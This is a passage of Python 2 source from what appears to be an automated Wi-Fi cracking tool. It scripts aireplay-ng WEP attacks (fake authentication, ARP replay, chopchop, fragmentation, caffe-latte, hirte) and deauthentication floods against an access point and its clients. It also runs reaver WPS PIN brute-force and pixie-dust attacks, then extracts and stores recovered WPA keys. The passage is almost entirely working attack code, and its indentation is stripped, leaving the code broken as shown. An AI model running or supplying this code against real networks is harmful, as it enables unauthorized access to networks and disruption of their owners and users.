stdout.flush()
cmd = ['aireplay-ng',
'--ignore-negative-one',
'-1', '0',
'-a', target.bssid,
'-T', '1']
if target.ssid != '':
cmd.append('-e')
cmd.append(target.ssid)
cmd.append(iface)
proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
started = time.time()
while proc_fakeauth.poll() == None and time.time() - started <= max_wait:
time.sleep(0.1)
if time.time() - started > max_wait:
send_interrupt(proc_fakeauth)
print R + 'failed' + W,
stdout.flush()
time.sleep(0.5)
continue
result = proc_fakeauth.communicate()[0].lower()
if result.find('switching to shared key') != -1 or \
result.find('rejects open system'): pass
if result.find('association successful') != -1:
print G + 'success!' + W
return True
print R + 'failed' + W,
stdout.flush()
time.sleep(0.5)
continue
print ''
return False
def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
"""
Returns aireplay-ng command line arguments based on parameters.
"""
cmd = ''
if attack_num == 0:
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--arpreplay',
'-b', target.bssid,
'-x', str(self.RUN_CONFIG.WEP_PPS)]
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 1:
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--chopchop',
'-b', target.bssid,
'-x', str(self.RUN_CONFIG.WEP_PPS),
'-m', '60',
'-n', '82',
'-F']
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 2:
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--fragment',
'-b', target.bssid,
'-x', str(self.RUN_CONFIG.WEP_PPS),
'-m', '100',
'-F']
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 3:
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--caffe-latte',
'-b', target.bssid]
if len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 4:
cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
elif attack_num == 5:
if len(clients) == 0:
print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
return ''
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--cfrag',
'-h', clients[0].bssid,
iface]
return cmd
def wep_send_deauths(self, iface, target, clients):
"""
Sends deauth packets to broadcast and every client.
"""
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
'-a', target.bssid,
iface]
call(cmd, stdout=DN, stderr=DN)
for client in clients:
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
'-a', target.bssid,
'-c', client.bssid,
iface]
call(cmd, stdout=DN, stderr=DN)
class WPSAttack(Attack):
def __init__(self, iface, target, config):
self.iface = iface
self.target = target
self.RUN_CONFIG = config
def RunAttack(self):
'''
Abstract method for initializing the WPS attack
'''
if self.is_pixie_supported():
if self.attack_wps_pixie():
return True
if self.RUN_CONFIG.PIXIE:
return False
return self.attack_wps()
def EndAttack(self):
'''
Abstract method for ending the WPS attack
'''
pass
def is_pixie_supported(self):
'''
Checks if current version of Reaver supports the pixie-dust attack
'''
p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
stdout = p.communicate()[1]
for line in stdout.split('\n'):
if '--pixie-dust' in line:
return True
return False
def attack_wps_pixie(self):
"""
Attempts "Pixie WPS" attack which certain vendors
susceptible to.
"""
output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
pixie_file = os.path.join(self.RUN_CONFIG.temp, 'pixie.out')
print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
cmd = ['reaver',
'-i', self.iface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-K', '1',
'-vv']
outf = open(output_file, 'a')
errf = open(pixie_file, 'a')
proc = Popen(cmd, stdout=outf, stderr=errf)
cracked = False
time_started = time.time()
pin = ''
key = ''
try:
while not cracked:
time.sleep(1)
errf.flush()
if proc.poll() != None:
errf.close()
inf = open(output_file, 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
if line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS PIN: '") + 10:-1]
cracked = True
if line.find("WPA PSK: '") != -1:
key = line[line.find("WPA PSK: '") + 10:-1]
if line.find("WPS pin: ") != -1:
pin = line[line.find("WPS pin: ") + 10:]
cracked = True
if line.find("WPA PSK: ") != -1:
key = line[line.find("WPA PSK: ") + 10:]
if 'Pixie-Dust' in line and 'WPS pin not found' in line:
print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
break
break
print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
if not os.path.exists(output_file): continue
inf = open(output_file, 'r')
lines = inf.read().split('\n')
inf.close()
output_line = ''
for line in lines:
line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
if line == '' or line == ' ' or line == '\t': continue
if len(line) > 50:
line = line[0:47] + '...'
output_line = line
if 'Sending M2 message' in output_line:
print O, 'sending M2 message (may take a while)... ', W,
elif output_line != '':
print C, output_line, W, ' ' * (50 - len(output_line)),
stdout.flush()
inf = open(output_file, 'w')
inf.close()
if cracked:
if pin != '':
print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
if key != '':
print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
else:
key = 'N/A'
self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
G + self.target.ssid + W, C + key + W, C + pin + W))
self.RUN_CONFIG.WPA_FINDINGS.append('')
t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
t.key = key
t.wps = pin
self.RUN_CONFIG.save_cracked(t)
else:
print GR + '\n [+]' + R + ' Attack failed.' + W
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
if attack_interrupted_prompt():
send_interrupt(proc)
print ''
self.RUN_CONFIG.exit_gracefully(0)
send_interrupt(proc)
if os.path.exists(output_file): os.remove(output_file)
if os.path.exists(pixie_file): os.remove(pixie_file)
return cracked
def attack_wps(self):
"""
Mounts attack against target on iface.
Uses "reaver" to attempt to brute force the PIN.
Once PIN is found, PSK can be recovered.
PSK is displayed to user and added to WPS_FINDINGS
"""
print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
cmd = ['reaver',
'-i', self.iface,
'-b', self.target.bssid,
'-o', output_file,
'-c', self.target.channel,
'-vv']
proc = Popen(cmd, stdout=DN, stderr=DN)
cracked = False
percent = 'x.xx%'
aps = 'x'
time_started = time.time()
last_success = time_started
last_pin = ''
retries = 0
tries_total = 0
tries = 0
pin = ''
key = ''
try:
while not cracked:
time.sleep(1)
if not os.path.exists(output_file): continue
if proc.poll() != None:
inf = open(output_file, 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
if line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS PIN: '") + 10:-1]
cracked = True
if line.find("WPA PSK: '") != -1:
key = line[line.find("WPA PSK: '") + 10:-1]
break
inf = open(output_file, 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
if line.strip() == '': continue
if line.find(' complete @ ') != -1 and len(line) > 8:
percent = line.split(' ')[1]
i = line.find(' (')
j = line.find(' seconds/', i)
if i != -1 and j != -1: aps = line[i + 2:j]
elif line.find(' Trying pin ') != -1:
pin = line.strip().split(' ')[-1]
if pin == last_pin:
retries += 1
elif tries_total == 0:
last_pin = pin
tries_total -= 1
else:
last_success = time.time()
tries += 1
last_pin = pin
retries = 0
tries_total += 1
elif line.endswith('10 failed connections in a row'):
pass
elif line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS PIN: '") + 10:-1]
cracked = True
elif line.find("WPA PSK: '") != -1:
key = line[line.find("WPA PSK: '") + 10:-1]
if cracked: break
print ' %s WPS attack, %s success/ttl,' % \
(GR + sec_to_hms(time.time() - time_started) + W, \
G + str(tries) + W + '/' + O + str(tries_total) + W),
if percent == 'x.xx%' and aps == 'x':
print '\r',
else:
print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
self.RUN_CONFIG.WPS_TIMEOUT)
print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
break
if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
self.RUN_CONFIG.WPS_MAX_RETRIES)
print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
break
if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
break
stdout.flush()
inf = open(output_file, 'w')
inf.close()
if cracked:
if pin != '':
print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
if key != '':
print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
else:
key = 'N/A'
self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
G + self.target.ssid + W, C + key + W, C + pin + W))
self.RUN_CONFIG.WPA_FINDINGS.append('')
t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
t.key = key
t.wps = pin
self.RUN_CONFIG.save_cracked(t)
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
if attack_interrupted_prompt():
send_interrupt(proc)
print ''
self.RUN_CONFIG.exit_gracefully(0)
send_interrupt(proc)
return cracked
if __name__ == '__main__':
RUN_CONFIG = RunConfiguration()
try:
banner(RUN_CONFIG)
engine = RunEngine(RUN_CONFIG)
engine.Start()
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' interrupted\n' + W
except EOFError:
print R + '\n (^D)' + O + ' interrupted\n' + W
RUN_CONFIG.exit_gracefully(0)